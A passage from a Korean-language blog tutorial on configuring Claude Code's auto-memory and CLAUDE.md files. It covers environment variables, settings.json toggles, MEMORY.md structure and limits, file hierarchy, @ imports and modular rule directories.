&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY&lt;/code&gt; 환경변수는 모든 설정보다 &lt;b&gt;우선순위가 높아&lt;/b&gt; 즉시 적용된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CI/CD나 특정 셸 환경에서 빠르게 제어할 때 유용하다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_DISABLE_AUTO_MEMORY=1  # 강제 비활성화 (Force off)
export CLAUDE_CODE_DISABLE_AUTO_MEMORY=0  # 강제 활성화 (Force on)
# 이 환경변수는 settings.json과 /memory 토글보다 우선순위가 높다
# 환경변수를 설정하지 않으면(unset) settings.json 설정을 따른다
unset CLAUDE_CODE_DISABLE_AUTO_MEMORY&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 환경변수 우선순위&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt;로 설정하면 settings.json의 &lt;code&gt;autoMemoryEnabled: true&lt;/code&gt;를 무시하고 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;강제로 비활성화&lt;/b&gt;&lt;/span&gt;된다. 환경변수를 해제(unset)해야 settings.json 설정이 다시 적용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 메모리 활성화/비활성화 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;settings.json을 통해 영구적으로 제어할 수 있다. 전역 비활성화 (&lt;code&gt;~/.claude/settings.json&lt;/code&gt;):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;autoMemoryEnabled&quot;: false
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mouiv/dJMb996ycuO/VS3vd42DJvnK0V3923XL2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mouiv/dJMb996ycuO/VS3vd42DJvnK0V3923XL2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mouiv/dJMb996ycuO/VS3vd42DJvnK0V3923XL2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMouiv%2FdJMb996ycuO%2FVS3vd42DJvnK0V3923XL2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;250&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;388&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트별로 별도 설정하려면 프로젝트 내 &lt;code&gt;.claude/settings.json&lt;/code&gt;을 사용한다. 팀 전체에 공유할 설정은 &lt;code&gt;settings.json&lt;/code&gt;에, 나만 사용하는 로컬 전용 설정은 &lt;code&gt;settings.local.json&lt;/code&gt;에 작성한다 (&lt;code&gt;settings.local.json&lt;/code&gt;은 자동으로 &lt;code&gt;.gitignore&lt;/code&gt;에 추가된다):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;# .claude/settings.json (팀 공유 - git 커밋됨)
{
  &quot;autoMemoryEnabled&quot;: true
}

# .claude/settings.local.json (개인 전용 - .gitignore 자동 추가)
{
  &quot;autoMemoryEnabled&quot;: false
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;명시적 지시로 메모리 저장&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자는 언제든 다음과 같이 말해서 메모리를 저장할 수 있다:&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&quot;Remember that we use bun, not npm&quot;&lt;/code&gt; &lt;br /&gt;&lt;code&gt;&quot;Remember: always validate user input before processing&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 메모리의 작동 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발 세션 중에 개발자가 다음과 같이 말하면:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;sql&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;사용자: &quot;Remember that we always use 2-space indentation, never tabs.
Also, error handling should follow the pattern in src/utils/error-handler.ts&quot;

(항상 들여쓰기는 탭(tab) 이 아니라 스페이스 2칸을 사용해야 합니다.
또한, 에러 처리 방식은 src/utils/error-handler.ts 파일에 정의된 패턴을 따라야 합니다.)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude는 이 정보를 MEMORY.md에 직접 기록한다 (Claude의 재량에 따라 판단하여 저장하는 것 같다. 100% 가 아닌것 같은데... 잘못된 정보라면 꼭 말씀 주세요):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/MEMORY.md

# Code Style
- Use 2-space indentation consistently
- Never use tabs in any files

# Error Handling
- Follow error handling pattern from src/utils/error-handler.ts
- Always wrap async operations with proper try-catch blocks&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다음 세션에서 같은 프로젝트를 열면, 이 정보가 자동으로 로드된다. Claude는 처음부터 프로젝트의 코딩 스타일을 알고 있는 상태에서 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MEMORY.md 구조와 활용법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 디렉토리 구조로 구성된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;dts&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;~/.claude/projects/my-project/memory/
├── MEMORY.md                    # 인덱스 파일 (자동 로드)
├── debugging.md                 # 디버깅 패턴 (온디맨드 로드)
├── api-conventions.md           # API 설계 규칙
├── performance-tips.md          # 성능 최적화 팁
└── architecture.md              # 아키텍처 결정사항&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MEMORY.md (인덱스 파일):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;매 세션마다 자동으로 로드된다. 상세 내용은 별도 토픽 파일에 저장한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MEMORY.md 200줄 제한&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MEMORY.md는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;첫 200줄만&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시스템 프롬프트(system prompt)에 로드된다. 200줄을 초과하는 내용은 자동으로 로드되지 않는다 (파일 자체는 유지되며, /memory 명령으로 직접 열어볼 수 있다). 인덱스 파일은 간결하게 작성하고, 상세 내용은 별도 토픽 파일(debugging.md, architecture.md 등)에 저장할 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# Project Memory Index

## Code Style
- 2-space indentation
- TypeScript strict mode
- See @debugging.md for common patterns

## Architecture
- Monorepo with pnpm workspaces
- API routes in src/api/
- See @architecture.md for detailed structure

## Development Workflow
- All tests must pass before merge
- PR reviews required for main branch
- See @api-conventions.md for API design&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;토픽 파일 (debugging.md 등):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;세션 시작 시 자동으로 로드되지 않지만, 필요할 때 Claude가 읽을 수 있다. 상세하고 구체적인 정보를 담을 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MEMORY.md에서의 @ 참조 표기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 예시의&lt;span&gt;&amp;nbsp;&lt;/span&gt;See @debugging.md for common patterns는 독자에게 파일을 안내하는 텍스트다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;@&lt;span&gt;&amp;nbsp;&lt;/span&gt;import 문법은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;CLAUDE.md 파일&lt;/b&gt;에서 지원되는 기능이며, MEMORY.md에서의 동작은 공식 문서에서 별도로 명시하지 않는다. Auto Memory의 토픽 파일은 Claude가 필요 시 직접 읽는 방식으로 동작한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. CLAUDE.md 파일 완벽 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md 파일은 개발자가 명시적으로 작성하는 지침이다. Auto Memory와 달리, 사람이 직접 관리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md의 역할과 위치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 디렉토리 계층에서 중요한 역할을 한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;현재 작업 디렉토리(cwd) 기준 상위 디렉토리의 CLAUDE.md:&lt;/b&gt; 세션 시작 시 전체 로드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;하위 디렉토리의 CLAUDE.md:&lt;/b&gt; 해당 디렉토리 파일 읽을 때 온디맨드(on-demand) 로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;파일 계층 구조와 우선순위&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;~/.claude/CLAUDE.md                    # 사용자 글로벌 (모든 프로젝트)
/etc/claude-code/CLAUDE.md             # 조직 정책 (IT 관리)

project-root/
├── CLAUDE.md                          # 프로젝트 공유 지침
├── CLAUDE.local.md                    # 개인 프로젝트 설정 (.gitignore)
├── .claude/
│   ├── CLAUDE.md                      # 프로젝트 상세 지침
│   └── rules/
│       ├── typescript.md              # TypeScript 규칙
│       └── testing.md                 # 테스트 규칙
└── src/
    ├── api/
    │   └── CLAUDE.md                  # API 개발용 지침
    └── components/
        └── CLAUDE.md                  # 컴포넌트 개발용 지침&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위:&lt;/b&gt; 더 구체적인(하위 디렉토리) CLAUDE.md가 더 일반적인(상위 디렉토리) CLAUDE.md보다 우선순위를 가진다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로젝트 로컬 설정 (CLAUDE.local.md)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인 프로젝트 설정을 위한 파일이다. 공유하지 않고 싶은 개인 설정을 여기에 작성한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;.gitignore 자동 추가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.local.md를 생성하면 Claude Code가 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;자동으로 .gitignore에 추가&lt;/b&gt;&lt;/span&gt;한다. 별도로 .gitignore에 추가할 필요가 없으며, 실수로 커밋되는 것을 방지한다. (파일이 존재하지 않으면 .gitignore 항목도 생성되지 않는다.)&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다중 worktree 주의:&lt;/b&gt; CLAUDE.local.md는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;하나의 worktree에만 존재&lt;/b&gt;&lt;/span&gt;한다. 여러 git worktree에서 동일한 개인 설정을 공유하려면 CLAUDE.local.md 대신 홈 디렉토리 import를 사용하는 것이 권장된다. (&lt;code&gt;@~/.claude/my-project-instructions.md&lt;/code&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;./CLAUDE.local.md

# 개인 개발 설정
- 내 로컬 API 서버: localhost:3000
- 테스트 데이터베이스: my_local_db
- 모니터링 도구 경로: ~/development/tools/

# 개인 선호도
- 기본 테스트 환경: Jest + Testing Library
- 선호 디버깅 방식: console.log 기반&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추가 디렉토리 접근: --add-dir 플래그&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;--add-dir&lt;/code&gt; 플래그를 사용하면 Claude Code가 추가 디렉토리에 접근할 수 있다. 멀티 레포 환경에서 유용하다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 추가 디렉토리에 접근하며 Claude Code 실행
claude --add-dir ../shared-config&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: --add-dir의 CLAUDE.md 로딩&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;--add-dir&lt;/code&gt;로 추가한 디렉토리의 CLAUDE.md는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;기본적으로 로드되지 않는다&lt;/b&gt;&lt;/span&gt;. 추가 디렉토리의 CLAUDE.md도 로드하려면 환경변수를 함께 설정해야 한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD=1 claude --add-dir ../shared-config&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 환경변수 없이 &lt;code&gt;--add-dir&lt;/code&gt;만 사용하면, 추가 디렉토리의 파일에는 접근 가능하지만 해당 디렉토리의 CLAUDE.md는 무시된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. CLAUDE.md Import 기능&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md 파일에서 @ 문법으로 외부 파일을 import할 수 있다. 이를 통해 큰 파일을 모듈화하고 재사용성을 높일 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;@ 문법으로 외부 파일 import&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;./CLAUDE.md

# Project Overview
@README

# Development Guidelines
See @docs/git-instructions.md for branching strategy
See @.github/CONTRIBUTING.md for contribution guide

# Build Configuration
@package.json

# Security
@docs/security-requirements.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import된 파일의 내용이 CLAUDE.md에 직접 포함된다. 이를 통해 관련 정보를 한곳에서 관리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상대/절대 경로 사용법&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 상대 경로 (import를 포함하는 파일 기준)
@docs/git-instructions.md          # ./docs/git-instructions.md
@../shared-rules.md                # ../shared-rules.md

# 절대 경로
@/home/user/claude/global-rules.md

# 홈 디렉토리
@~/.claude/my-global-instructions.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: Git worktree와 홈 디렉토리 import&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 개의 git worktree를 사용하는 경우, 홈 디렉토리의 import 경로를 사용하는 것이 권장된다:&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;@~/.claude/my-project-instructions.md&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 하면 각 worktree가 독립적으로 같은 지침을 참조할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;재귀 깊이와 보안 고려사항&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import는 최대 5 hops의 재귀 깊이를 가진다. 심볼릭 링크를 통한 순환 참조는 감지되어 자동으로 방지된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 블록이나 인라인 코드 내의 @ 문법은 import로 처리되지 않는다 (보안 목적):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// 이 @ 문법은 import되지 않음 (코드 블록 내)
const path = &quot;@utils/helpers.ts&quot;;

// 이 @ 문법도 import되지 않음 (인라인 코드)
Use `@constants/API_KEYS.ts` for configuration&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 모듈형 규칙: .claude/rules/ 활용하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;.claude/rules/ 디렉토리에 저장된 모든 .md 파일은 자동으로 프로젝트 메모리로 로드된다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;하위 디렉토리를 재귀적으로 탐색&lt;/b&gt;&lt;/span&gt;하므로, &lt;code&gt;rules/sub-folder/rule.md&lt;/code&gt;와 같은 중첩 구조도 지원된다. 이를 통해 대규모 프로젝트를 체계적으로 관리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;규칙 파일 구조&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;project-root/
├── .claude/
│   ├── CLAUDE.md
│   └── rules/
│       ├── code-style.md          # 일반 코드 스타일
│       ├── typescript.md          # TypeScript 규칙
│       ├── testing.md             # 테스트 컨벤션
│       ├── api-design.md          # API 설계 규칙
